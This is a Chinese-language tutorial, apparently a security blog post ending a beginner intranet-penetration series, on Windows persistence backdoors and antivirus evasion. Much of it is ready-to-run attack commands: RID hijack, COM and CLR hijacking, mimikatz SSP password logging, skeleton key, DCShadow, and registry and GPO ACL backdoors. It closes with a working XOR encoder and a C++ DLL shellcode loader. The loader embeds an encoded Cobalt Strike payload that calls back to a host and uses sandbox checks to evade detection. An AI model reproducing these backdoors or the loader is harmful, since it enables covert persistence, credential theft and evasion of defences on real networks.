手把手教你入门内网渗透之三

 

前言

内网系列文章之三

 

0x00 写在前面

在上一篇文章中,我介绍了内网横向渗透的相关方法,以及拿下域控后导出域hash的方式,在本文中,我将把持久化控制和免杀作为本系列的结束。

本文顺序

持久化后门-》免杀相关-》总结结语

 

0x01 持久化后门

1.程序替换

很久很久之前的方法,像是粘滞键(5次shift)、设置中心(Windows+U键)等等,在低版本系统中可以通过替换这些程序为我们想要的比如cmd.exe,就可以做到最简单的后门。

其中
粘滞键:C:\Windows\System32\sethc.exe
设置中心:C:\Windows\System32\utilman.exe
将cmd.exe复制到目标文件目录,改名后覆盖。

替换不常用服务的工具:msf自带exploit/windows/local/persistence_service

2.账户克隆(rid hijack)

Windows使用安全帐户管理器(SAM)来存储本地用户和内置帐户的安全描述符,每个帐户都有一个指定的RID来标识它。我们新建用户,之后导出注册表,并用administrator的f值替换新用户的f值,删掉新用户,再导入注册表,新用户可以正常使用,但net user看不到,也删不掉,只能通过注册表操作。

net user lce$ lce.123 /add  //创建匿名用户
net localgroup administrators lce$ /add //加入管理员组
目标注册表键值位置:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
//PS:SAM键值默认是system权限修改,所以修改一下SAM键的权限,给予administrator完全控制和读取权限
导出lce$的值,并把administrator用户对应的项的F值复制到lce$对应项中的F值
net user lce$ /del //删掉lce$
使用导出的注册表文件,用先前导出的注册表键值对注册表进行修改,重新还原之前的匿名用户  //还原匿名用户lce$

相关工具:msf:post/windows/manage/rid_hijack,Windows-User-Clone.ps1,Create-Clone.ps1

3.自启动

注册表自启动项

注册表简介:类似一种树状数据库。

HKEY_CLASSES_ROOT    用于存储一些文档类型、类、类的关联属性
HKEY_CURRENT_CONFIG    用户存储有关本地计算机系统的当前硬件配置文件信息
HKEY_CURRENT_USER    用于存储当前用户配置项
HKEY_CURRENT_USER_LOCAL_SETTINGS    用于存储当前用户对计算机的配置项
HKEY_LOCAL_MACHINE    用于存储当前用户物理状态
HKEY_USERS    用于存储新用户的默认配置项

注册表自启动键值位置:

修改自动项,达到开机自启动恶意程序
用户:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
管理员:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

开始菜单启动项

指示启动文件夹的位置,其中User Shell Folders优先于Shell Folders。

修改注册表,可以修改开始菜单启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

计划任务

通过Window系统的任务计划程序功能实现定时启动某个任务程序,Windows下计划任务的命令有:at和schtasks,其中at命令在win7等高版本windows中不能将任务放在前台执行,也就是只会打开一个后台进程,而schtasks是将定时的任务在前台执行。

图形化工具:taskschd.msc
命令行工具:schtasks.exe
SCHTASKS /parameter [arguments]
/Create         创建新计划任务
/Delete         删除计划任务
/Query          显示所有计划任务
/Run            运行计划任务
/End            中止当前正在运行的计划任务
比如:
cmd> SCHTASKS /Create /TN update /TR xxx(要执行的命令)  /DELAY ONLOGON /F /RL HIGHEST

4.clr hijack

CLR(Common Language Runtime公共语言运行库)和Java虚拟机一样是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR是 .Net Framework的主要执行引擎,无需管理员权限的后门,并能够劫持所有.Net程序,执行有些程序时会默认会调用.Net程序,从而使我们的后门自动触发。

cmd> SET COR_ENABLE_PROFILING=1
cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111}   //{11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突
cmd> SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\lceServe  //新建子项{11111111-1111-1111-1111-111111111111}\lceServe
cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F    //新建REG_SZ类型键值ThreadingModel:Apartment
cmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\evil.dll" /F  //修改默认路径值为evil.dll"的路径
cmd> powershell //启动powershell时执行目标dll
PS:需要注册为全局变量,不然只能在这个cmd窗口劫持:
cmd> SETX COR_ENABLE_PROFILING=1 /M
cmd> SETX COR_PROFILER={11111111-1111-1111-1111-111111111111} /M

自动化工具:CLR-Injection.bat

5 .com hijack

Component Object Model(组件对象模型),是微软的一套软件组件的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。利用COM劫持技术,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。

首先在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\目录下放入恶意dll文件   //若Installer文件夹不存在,则依次创建Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
然后修改注册表,在HKCU\Software\Classes\CLSID\下创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
然后再创建一个子项lceServer,值默为dll文件路径。再创建一个键ThreadingModel,键值为:Apartment
之后可以通过打开相关程序比如iexplore.exe来调用恶意dll

相关工具:COM-Object-hijacking

6.junction folder

文件夹命名为:name.{clsid}。当浏览时,就会执行对应的clsid的dll。

7.msdtc

Distributed Transaction Coordinator,微软分布式传输协调程序,Windows系统默认启动该服务。计算机加入域,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI,并加载3个DLL:oci.dll、SQLLib80.dll、xa80.dll。但是默认oci.dll是没有的,可以自己在system32下放置一个恶意oci.dll,实现劫持。

除了上面说的一些,还有其他许多方法可以实现dll劫持,继续探索。DLL劫持识别开源工具:Rattler。

8.DSRM

每一个域控都有一个本地管理员账户(并非域的管理员帐户),也就是所谓的目录服务还原模式(DSRM)账户。DSRM的密码是在DC安装时就要设置,很少会被重置。本地用户的hash存在sam文件,而域内用户hash存在ntds.dit。不使用域控的administrator进行pth,使用dsrm用户pth。但是dsrm默认不能pth,但是改了注册表就可以了。默认情况下域控的administrator密码与dsrm是不同的,我们首先同步密码,之后修改注册表。

1.同步密码:
NTDSUTIL 
SET DSRM PASSWORD 
SYNC FROM DOMAIN ACCOUNT <your user like krbtgt> 
Q 
Q
PS:Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,而Windows Server 2003不支持DSRM密码同步
2.使用mimikatz查看密码是否同步
3.修改注册表允许DSRM账户远程访问:
HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior值设置为为2(代表无论哪一种情况,你都可以使用DSRM管理员帐户登录。)   //默认不存在,手动添加
4.使用hash远程登录即可pth:
privilege::debug
sekurlsa::pth /domain:w7 /user:Administrator /ntlm:xxxxxxxx

9.SSP

Security Support Provider(安全支持提供程序),是Windows API,用于扩展Windows身份验证机制。lsass进程正在Windows启动期间加载其提供的dll,我们可以通过修改或者替换dll实现与lsass进程进行交互并记录该进程中存储的所有密码信息。

注册SSP DLL方式:
mimikatz提供mimilib.dll,并放到与lsass进程(System32)相同的位置C:\Windows\System32\
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ   //修改注册表项以包括新的安全支持提供程序mimilib
注册表已被篡改并且DLL存储在系统中,因此在重新启动后继续存在。当域用户再次通过系统进行身份验证时,将创建一个C:\Windows\System32\kiwissp.log文件,该文件将记录帐户的凭据。

内存注入方式:
(不需将mimilib.dll放入磁盘或修改注册表,重启后失效)
privilege::debug
misc::memssp
在用户再次通过系统认证时,会创建C:\Windows\System32\mimilsa.log文件,包含用户纯文本密码。

PS:除了使用mimikatz以外,也可以使用后渗透神器Empire或者powersploit来实现这两种方式。

10.sid history

每个用户帐号都有一个关联的安全标识符SID,作用是跟踪安全主体控制用户连接资源时的访问权限,也就是在域迁移过程中保持域用户的访问权限,如果迁移后用户的SID值改变,系统会将原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限。我们的目的是使用mimikatz将SID History属性添加到任意用户的SID History属性中,以获得管理员权限。

privilege::debug
sid::patch  //修复NTDS服务
sid::add /sam:hacker /new:administrator
sid::clear /sam:hacker  //清除SID History

11.skeleton key

将万能密码注入到lsass.exe中,域内所有用户的原密码和万能密码都可以登录,重启后失效。

privilege::debug
!+                                          //绕过LSA Protection,需要导入驱动mimidrv.sys文件:https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c
!processprotect /process:lsass.exe /remove  //绕过LSA Protection
misc::skeleton
之后可以用域内任意账号登录,万能密码默认为mimikatz

PS:mimikatz绕过cmd,regedit禁用:
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

12.hook passwordchangenotify

修改密码时,lsa会调用passwordfileter检查是否符合复杂性要求,之后调用passwordchangenotify在系统中同步密码。其中函数PasswordChangeNotify在rassfm.dll中。我们注入一个dll文件,hook掉passwordchangenotify,读取密码。

使用HookPasswordChange.dll和HookPasswordChangeNotify.ps1(尾部添加Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass)
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1    //使用powershell运行脚本
在C:\Windows\Temp\passwords.txt中记录明文密码

13.dcshadow

防止持久化操作被SIEM等系统记录,伪造一个域控,实行完操作后,将数据同步到真实域控。

lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:primarygroupid/value:512     //使用system权限添加域管 
lsadump::dcshadow /push     //使用域管权限进行域复制,后同
lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:sidhistory /value:S-1-5-21-771480511-316148334-622873008-500   //sid history后门

14.acl

方法1:基于注册表ACL后门,在域控制器上将hklm的特定键值分配everyone读取权限,使用DAMP这个工具设置即可。之后在。普通用户机器上读ntlm hash。

首先在域控上修改:
import-module Add-RemoteRegBackdoor.ps1 //导入
Add-RemoteRegBackdoor -ComputerName client.external.local -Trustee 'S-1-1-0' -Verbose 
然后普通用户机器上读ntlm hash:
import-module RemoteHashRetrieval.ps1   //导入
Get-RemoteLocalAccountHash -ComputerName ad1 -Verbose   //域内普通用户读取域管ntlm hash
之后可以pth等等

方法2:基于域策略文件权限后门,域里机器每过一段时间会访问域控制器的C:\Windows\SYSVOL\sysvol\domain. com\Policies 以更新它们的策略。我们可以配置Policies的文件夹权限为everyone完全控制。

cacls C:\Windows\SYSVOL\sysvol\lce.com\Policies /e /t /c /g "EveryOne":f  //配置policies文件夹权限为everyone完全控制
import-module powerview.ps1 //导入powerview脚本
Get-NETGPO -ComputerName w7 |fl gpcfilesyspath  //查询某台机器对应的策略文件
找到目标文件夹下MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf文件,在文件末尾添加://修改策略
[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1
gpupdate /force //手动刷新策略触发策略启动计算器

方法3:dcsync后门,在高级功能的安全中把everyone用户设置成完全控制,任意用户可以导出域hash,并pth。

15.其他方式

office系列

基本思路是将恶意dll文件保存到office打开时会调用dll的位置,如%APPDATA%\Microsoft\Word\Startup、%appdata%\Microsoft\AddIns等,然后修改注册表,实现打开office软件加载恶意dll的目的。

windows库

创建clsid;在Windows的xml库文件中插入simplelocation元素。

应用插件和扩展

比如chrome的恶意插件,vs,notepad++等。

其他后门方式也还有很多,多多探索,不局限于这些入门级的后门!

 

0x02 免杀浅析

1.分离免杀

shellcode loader

通过使用加载器将shellcode与加载程序分开,以此达到分离免杀效果。可以自己造个轮子用,配合编码,免杀效果还可以。在最后我给出我学习写的一个例子仅供参考。
现成的工具有shellcode_launcher-master等。

白加黑

基于Windows的白名单,执行目标代码。比如用msbuild编译执行c#代码,用rundll32执行动态链接库dll文件等等。

2.混淆免杀

编码混淆

使用异或编码、base64、十六进制等等,也可以在生成shellcode时选择加密方式,如msfvenom。有能力的话也可以使用一些偏僻语言编写,能够绕过没有涉及这种语言的杀软。
开源工具:shellcode_encoder。(也可以自己写来用,用python写比较方便)

注入混淆

将shellcode注入到应用进程如putty.exe中。
一些工具:bdf、shellter、Avet、veil。

3.其他

无文件落地

所谓的无文件落地,恶意程序不是以普通文件的方式存在,而是以脚本的形式存在计算机中的注册表中,以此来躲避杀软的检测,并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程:写入注册表+下载并加载远程代码。这种方式需要编写客户端和服务端,造完轮子后用处很大。

伪造证书签名

一些杀软通过检测证书来判断是否为恶意程序。两种方法伪造证书:添加在文件末尾(Authenticode)和CAT文件(catalog)。
证书伪造工具:SigThief-master

内核数量检测

沙盒检测时为了减少主机资源的占用,分配较少的内核,根据检测内核的数量判断是否存在于被检测环境中。

Tick Count值检测

杀软为了满足用户的需求,一般扫描速度都比较快,以前进行免杀时都是用sleep函数,等到杀软运行完了再执行shellcode。目前基本都会跳过sleep函数,我们可以使用两个GetTickCout()的值来判断是否跳过了sleep函数,以达到检测是否在被检测的环境下。

not the end…

4.小例子

步骤:

  1. 用Cobalt Strike生成二进制payload文件。
    1
  2. 用B2C.py进行混淆编码。
    2
  3. 修改AKDLL.dll的相关内容后上传至目标机器,用rundll32执行。
    3

virustotal查杀结果:

4

代码:

#B2C.py

from argparse import ArgumentParser, FileType

def xor(num, src, dst):
    shellcode = 'unsigned char buf[] = "'
    shellcode_size = 0
    while True:
        code = src.read(1)
        if not code:
             break
        code_xor = ord(code) ^ num
        code_hex = hex(code_xor).replace('0x', '')
        if (len(code_hex) == 1):
            code_hex = '0' + code_hex
        shellcode = shellcode + '\\x' + code_hex
        shellcode_size += 1
    shellcode = shellcode+'";'
    src.close()
    dst.write(shellcode)
    dst.close()
    return shellcode_size
def main():
    arg = ArgumentParser(prog='B2C')
    arg.add_argument('-s', '--src', help='source', type=FileType('rb'), required=True)
    arg.add_argument('-d', '--dst', help='destination', type=FileType('w+'), required=True)
    arg.add_argument('-n', '--num', help='xor number', type=int, default=99)
    args = arg.parse_args()
    size = xor(args.num, args.src, args.dst)
    print("[+]Author:lceCre4m\n")
    print("[+]ShellCode_Size:%d\n" %size)
    print("[+]Write %s OK!\n" %args.dst)
if __name__ == "__main__":
    main()
//AKDLL.dll

#include "pch.h"
#include<windows.h>
#include<stdio.h>

int flag = 0;
void PassAv() {
    for (;;) {
        SYSTEM_INFO sysguide;
        GetSystemInfo(&sysguide);
        int core = sysguide.dwNumberOfProcessors;
        if (core < 2) {
            flag = 1;
            continue;
        }

        int tick1 = GetTickCount();
        Sleep(1000);
        int tick2 = GetTickCount();
        if ((tick2 - tick1) < 1000) {
            flag = 1;
            continue;
        }
        break;
    }
}

extern "C" __declspec(dllexport) void Loader(HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, INT nCmdShow) {

    DWORD dwthreadId, dwThreadId;
    HANDLE hthread, hThread;
    DWORD dwProtect;
    int code_size = 0;
    unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";
    code_size = sizeof(buf);

    hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&PassAv, NULL, NULL, &dwthreadId);
    WaitForSingleObject(hthread, INFINITE);

    if (flag < 1) {

        for (int i = 0; i < code_size; i++) {
            buf[i] ^= 10;//需要自己改
        }

        char * shellcode = (char *)VirtualAlloc(
            NULL,
            code_size,
            MEM_COMMIT,
            PAGE_READWRITE
        );
        CopyMemory(shellcode, buf, code_size);
        VirtualProtect(shellcode, code_size, PAGE_EXECUTE, &dwProtect);

        hThread = CreateThread(
            NULL,
            NULL,
            (LPTHREAD_START_ROUTINE)shellcode,
            NULL,
            NULL,
            &dwThreadId
        );

        WaitForSingleObject(hThread, INFINITE);
    }
}

 

0x03 系列结语

本系列从内网搭建隧道收集信息开始,到提权,横向,到最后免杀和持久化,希望各读者能够有所收获。有问题的话也欢迎交流。

这个内网安全入门系列到此就告一段落了,第一次码技术类文章,学习了很多,随着时间的推移,安全圈的许多事情也不断在变化,不好说别人怎么样,只好做自己。最后感谢安全客和所有的读者。

(完)